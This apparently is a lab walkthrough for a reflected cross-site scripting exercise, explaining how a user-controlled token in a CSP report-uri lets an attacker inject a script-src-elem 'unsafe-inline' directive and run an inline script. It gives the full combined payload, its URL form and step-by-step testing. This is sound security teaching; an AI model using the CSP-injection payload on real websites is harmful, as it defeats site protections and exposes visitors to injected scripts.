This lab uses CSP and contains a reflected XSS vulnerability.

To solve the lab, perform a cross-site scripting attack that bypasses the CSP and calls the alert function.

Please note that the intended solution to this lab is only possible in Chrome


The page has a strict CSP header like:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

This means:

'self' only    → only scripts from same origin allowed
no inline JS   → <script>alert(1)</script> blocked by CSP
no eval        → eval() blocked
no data: URIs  → data: scheme blocked

So even if you inject a <script> tag, CSP blocks it from executing.


The Vulnerability — CSP with a script-src Nonce BUT with a Bypassable Directive

The actual CSP in this lab looks like:

Content-Security-Policy: default-src 'self'; 
                         script-src 'self' 'nonce-RANDOMVALUE';
                         report-uri /csp-report?token=

Three critical things to notice:

1. script-src has a nonce       → inline scripts need the nonce to execute
2. report-uri is present        → CSP violations are reported somewhere
3. report-uri has a token param → this token parameter is user controllable

The Key Insight — report-uri Injection

The report-uri directive in the CSP header contains a URL parameter that you control via the search input:

Your search input: hello
CSP header becomes:
Content-Security-Policy: ...report-uri /csp-report?token=hello

You can inject into the CSP header itself by injecting into the token parameter. This is a header injection vulnerability in the CSP directive.


What You Can Inject Into CSP

Since you control what comes after token= in the CSP header, you can inject additional CSP directives by using a semicolon:

Search input: hello;script-src-elem 'unsafe-inline'

CSP becomes:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xyz'; 
report-uri /csp-report?token=hello;script-src-elem 'unsafe-inline'

Now the CSP contains script-src-elem 'unsafe-inline' which overrides the script-src directive for script elements specifically — allowing inline scripts to execute.


Why script-src-elem Overrides script-src

script-src          → applies to all script resources (broad)
script-src-elem     → applies specifically to <script> elements (specific)

When both present:
  script-src-elem takes PRECEDENCE over script-src for <script> elements
  So 'unsafe-inline' in script-src-elem allows inline scripts
  Even though script-src doesn't have 'unsafe-inline'

The Full Payload

In the search box inject:

<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

Breaking it down:

<script>alert(1)</script>   → the XSS payload injected into page HTML
&token=                     → separates into URL parameter
;script-src-elem 'unsafe-inline'  → injected into CSP header via report-uri token

What happens:

HTML response contains:
<script>alert(1)</script>    ← your injected script tag

CSP header becomes:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xyz';
report-uri /csp-report?token=;script-src-elem 'unsafe-inline'
                                             ↑
                              your injection adds this directive

Browser evaluates CSP:
script-src-elem 'unsafe-inline' → inline scripts allowed ✅
<script>alert(1)</script> → executes ✅

Step by Step — How to Solve the Lab

Step 1 — Confirm XSS Reflection

Search for <h1>test</h1> and check if it appears in the page — confirms HTML injection works but CSP blocks script execution.

Step 2 — Check the CSP Header

In Network tab → Response Headers:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-...'; report-uri /csp-report?token=

Notice token= at the end — your search term goes here.

Step 3 — Test Header Injection

Search for:

test;script-src-elem 'unsafe-inline'

Check response CSP header — confirm your injection appears after token=.

Step 4 — Combine XSS + CSP Bypass

Final payload in search box:

<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

Or URL encoded in the address bar:

?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

Why This Works — The Complete Chain

Two separate injections happening simultaneously:

Injection 1: Into HTML body (XSS)
  ?search=<script>alert(1)</script>
  → script tag appears in page HTML
  → normally blocked by CSP

Injection 2: Into CSP header (CSP bypass)
  &token=;script-src-elem 'unsafe-inline'
  → CSP header gets new directive
  → inline scripts now allowed

Combined effect:
  Script tag present in HTML ✅
  CSP now allows inline scripts ✅
  alert(1) executes ✅

The Core Concept This Lab Teaches

CSP is only as strong as its own configuration pipeline.

If any part of the CSP header value is user-controllable:
  → attacker can inject new directives
  → attacker can weaken the policy
  → CSP protection completely defeated

The irony:
  report-uri exists to REPORT CSP violations
  But if report-uri contains user input
  The user can inject directives that DISABLE CSP
  Making the security feature defeat itself

Key Takeaways for Your Notes

1. Always check if ANY URL parameter appears in CSP header
2. report-uri token= is a classic injection point
3. script-src-elem overrides script-src for inline scripts
4. CSP header injection = complete CSP bypass
5. XSS + CSP bypass must be combined as one payload
   (two separate URL parameters in same request)